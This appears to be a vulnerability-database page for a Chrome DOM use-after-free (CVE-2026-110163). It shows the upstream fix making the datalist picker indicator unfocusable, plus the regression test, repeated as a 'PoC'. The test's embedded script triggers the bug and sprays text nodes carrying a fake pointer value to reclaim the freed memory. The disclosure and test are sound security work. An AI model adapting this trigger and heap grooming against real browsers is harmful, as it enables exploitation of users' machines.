Chrome · DOM
CVE-2026-110163
UAF in DOM
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
forthird_party/blink/renderer/core/html/forms/html_data_list_element_test.cc |
modified | |
TESTthird_party/blink/renderer/core/html/forms/html_data_list_element_test.cc |
modified |
Files Changed
third_party/blink/renderer/core/html/forms/text_field_input_type.ccthird_party/blink/renderer/core/html/forms/html_data_list_element_test.cc
Patch
From 00cf912ed1731b49867d5af45de57f79b89d6e9d Mon Sep 17 00:00:00 2001 From: Joey Arhar <[email protected]> Date: Thu, 08 Oct 2026 10:14:26 -0700 Subject: [PATCH] Make DataListIndicatorElement not focusable DataListIndicatorElement (the UA shadow DOM element backing ::-webkit-calendar-picker-indicator on <input list>) inherited from HTMLDivElement without overriding SupportsFocus(), unlike other inner text control elements. When styled with overflow: scroll, it became a focusable scroll container and could be focused (e.g. by dialog focusing steps). Removing it when the <datalist> lost its options would then synchronously fire a blur event during IdTargetObserverRegistry::NotifyObservers(). Override DataListIndicatorElement::SupportsFocus() to return FocusableState::kNotFocusable so the internal indicator element cannot be focused. Fixed: 568831102 Change-Id: If16a84eb6fde93c80fde9a02f21d57737d77f4aa Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8523486 Reviewed-by: Joey Arhar <[email protected]> Commit-Queue: Joey Arhar <[email protected]> Reviewed-by: David Baron <[email protected]> Cr-Commit-Position: refs/heads/main@{#1714671} --- diff --git a/third_party/blink/renderer/core/html/forms/text_field_input_type.cc b/third_party/blink/renderer/core/html/forms/text_field_input_type.cc index 2bcc0fc..9237c44b 100644 --- a/third_party/blink/renderer/core/html/forms/text_field_input_type.cc +++ b/third_party/blink/renderer/core/html/forms/text_field_input_type.cc @@ -89,6 +89,10 @@ GetDocument().IsActive(); } + FocusableState SupportsFocus(UpdateBehavior) const override { + return FocusableState::kNotFocusable; + } + public: explicit DataListIndicatorElement(Document& document) : HTMLDivElement(document) {} diff --git a/third_party/blink/renderer/core/html/forms/html_data_list_element_test.cc b/third_party/blink/renderer/core/html/forms/html_data_list_element_test.cc index ff95e807..f138a9c 100644 --- a/third_party/blink/renderer/core/html/forms/html_data_list_element_test.cc +++ b/third_party/blink/renderer/core/html/forms/html_data_list_element_test.cc @@ -6,11 +6,18 @@ #include "testing/gtest/include/gtest/gtest.h" #include "third_party/blink/renderer/core/dom/document.h" +#include "third_party/blink/renderer/core/dom/shadow_root.h" +#include "third_party/blink/renderer/core/dom/text.h" +#include "third_party/blink/renderer/core/html/forms/html_input_element.h" #include "third_party/blink/renderer/core/html/html_document.h" +#include "third_party/blink/renderer/core/html/shadow/shadow_element_names.h" +#include "third_party/blink/renderer/core/page/focus_controller.h" +#include "third_party/blink/renderer/core/page/page.h" #include "third_party/blink/renderer/core/testing/null_execution_context.h" #include "third_party/blink/renderer/core/testing/sim/sim_request.h" #include "third_party/blink/renderer/core/testing/sim/sim_test.h" #include "third_party/blink/renderer/platform/heap/thread_state.h" +#include "third_party/blink/renderer/platform/testing/runtime_enabled_features_test_helpers.h" #include "third_party/blink/renderer/platform/testing/task_environment.h" namespace blink { @@ -28,6 +35,77 @@ EXPECT_TRUE(data_list->IsFinishedParsingChildren()); } +TEST_F(HTMLDataListElementTest, + DataListIndicatorNotFocusableAndReplaceChildrenDoesNotCrash) { + ScopedDialogNewFocusBehaviorForTest dialog_focus(false); + ScopedOmitBlurEventOnElementRemovalForTest omit_blur(false); + + GetDocument().GetPage()->GetFocusController().SetActive(true); + GetDocument().GetPage()->GetFocusController().SetFocused(true); + + SimRequest main_resource("https://example.com/", "text/html"); + LoadURL("https://example.com/"); + main_resource.Complete(R"HTML( + <!DOCTYPE html> + <style> + input { visibility: hidden } + input::-webkit-calendar-picker-indicator { + visibility: visible; + overflow: scroll; + width: 20px; + height: 6px; + font-size: 40px; + line-height: 60px; + } + </style> + <datalist id=options><option value=a></option></datalist> + <datalist id=other><option value=b></option></datalist> + <dialog><input id=target list=options></dialog> + <script> + const dialog = document.querySelector('dialog'); + const input = document.querySelector('input'); + const list = document.querySelector('datalist'); + + list.removeAttribute('id'); + for (let i = 0; i < 7; i++) list.setAttribute('a' + i, ''); + list.setAttribute('id', 'options'); + + const word = BigInt('0x0000123456789ab0'); + let tail = ''; + for (let i = 0n; i < 8n; i++) { + tail += String.fromCharCode(Number((word >> (8n * i)) & 255n)); + } + const strings = [], nodes = []; + for (let i = 0; i < 256; i++) { + strings.push((String(i).padStart(8, '0') + 'x'.repeat(100) + tail).split('').join('')); + } + + dialog.show(); + input.getBoundingClientRect(); + dialog.close(); + dialog.show(); + + input.addEventListener('blur', () => { + input.setAttribute('list', 'other'); + list.setAttribute('b', ''); + for (const s of strings) nodes.push(document.createTextNode(s)); + }, {capture: true, once: true}); + </script> + )HTML"); + + auto* input = To<HTMLInputElement>( + GetDocument().getElementById(AtomicString("target"))); + ASSERT_TRUE(input); + Element* picker = input->UserAgentShadowRoot()->getElementById( + shadow_element_names::kIdPickerIndicator); + ASSERT_TRUE(picker); + EXPECT_FALSE(picker->IsFocusable()); + + auto* list = GetDocument().getElementById(AtomicString("options")); + ASSERT_TRUE(list); + list->RemoveChildren(); +} + TEST(HTMLDataListElementTest2, DecrementedAfterGc) { test::TaskEnvironment task_environment; ScopedNullExecutionContext execution_context;
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/third_party/blink/renderer/core/html/forms/html_data_list_element_test.cc b/third_party/blink/renderer/core/html/forms/html_data_list_element_test.cc
index ff95e807..f138a9c 100644
--- a/third_party/blink/renderer/core/html/forms/html_data_list_element_test.cc
+++ b/third_party/blink/renderer/core/html/forms/html_data_list_element_test.cc
@@ -6,11 +6,18 @@
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/blink/renderer/core/dom/document.h"
+#include "third_party/blink/renderer/core/dom/shadow_root.h"
+#include "third_party/blink/renderer/core/dom/text.h"
+#include "third_party/blink/renderer/core/html/forms/html_input_element.h"
#include "third_party/blink/renderer/core/html/html_document.h"
+#include "third_party/blink/renderer/core/html/shadow/shadow_element_names.h"
+#include "third_party/blink/renderer/core/page/focus_controller.h"
+#include "third_party/blink/renderer/core/page/page.h"
#include "third_party/blink/renderer/core/testing/null_execution_context.h"
#include "third_party/blink/renderer/core/testing/sim/sim_request.h"
#include "third_party/blink/renderer/core/testing/sim/sim_test.h"
#include "third_party/blink/renderer/platform/heap/thread_state.h"
+#include "third_party/blink/renderer/platform/testing/runtime_enabled_features_test_helpers.h"
#include "third_party/blink/renderer/platform/testing/task_environment.h"
namespace blink {
@@ -28,6 +35,77 @@
EXPECT_TRUE(data_list->IsFinishedParsingChildren());
}
+TEST_F(HTMLDataListElementTest,
+ DataListIndicatorNotFocusableAndReplaceChildrenDoesNotCrash) {
+ ScopedDialogNewFocusBehaviorForTest dialog_focus(false);
+ ScopedOmitBlurEventOnElementRemovalForTest omit_blur(false);
+
+ GetDocument().GetPage()->GetFocusController().SetActive(true);
+ GetDocument().GetPage()->GetFocusController().SetFocused(true);
+
+ SimRequest main_resource("https://example.com/", "text/html");
+ LoadURL("https://example.com/");
+ main_resource.Complete(R"HTML(
+ <!DOCTYPE html>
+ <style>
+ input { visibility: hidden }
+ input::-webkit-calendar-picker-indicator {
+ visibility: visible;
+ overflow: scroll;
+ width: 20px;
+ height: 6px;
+ font-size: 40px;
+ line-height: 60px;
+ }
+ </style>
+ <datalist id=options><option value=a></option></datalist>
+ <datalist id=other><option value=b></option></datalist>
+ <dialog><input id=target list=options></dialog>
+ <script>
+ const dialog = document.querySelector('dialog');
+ const input = document.querySelector('input');
+ const list = document.querySelector('datalist');
+
+ list.removeAttribute('id');
+ for (let i = 0; i < 7; i++) list.setAttribute('a' + i, '');
+ list.setAttribute('id', 'options');
+
+ const word = BigInt('0x0000123456789ab0');
+ let tail = '';
+ for (let i = 0n; i < 8n; i++) {
+ tail += String.fromCharCode(Number((word >> (8n * i)) & 255n));
+ }
+ const strings = [], nodes = [];
+ for (let i = 0; i < 256; i++) {
+ strings.push((String(i).padStart(8, '0') + 'x'.repeat(100) + tail).split('').join(''));
+ }
+
+ dialog.show();
+ input.getBoundingClientRect();
+ dialog.close();
+ dialog.show();
+
+ input.addEventListener('blur', () => {
+ input.setAttribute('list', 'other');
+ list.setAttribute('b', '');
+ for (const s of strings) nodes.push(document.createTextNode(s));
+ }, {capture: true, once: true});
+ </script>
+ )HTML");
+
+ auto* input = To<HTMLInputElement>(
+ GetDocument().getElementById(AtomicString("target")));
+ ASSERT_TRUE(input);
+ Element* picker = input->UserAgentShadowRoot()->getElementById(
+ shadow_element_names::kIdPickerIndicator);
+ ASSERT_TRUE(picker);
+ EXPECT_FALSE(picker->IsFocusable());
+
+ auto* list = GetDocument().getElementById(AtomicString("options"));
+ ASSERT_TRUE(list);
+ list->RemoveChildren();
+}
+
TEST(HTMLDataListElementTest2, DecrementedAfterGc) {
test::TaskEnvironment task_environment;
ScopedNullExecutionContext execution_context;
Loading diff…
Original Bug Report
The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.
References
On This Page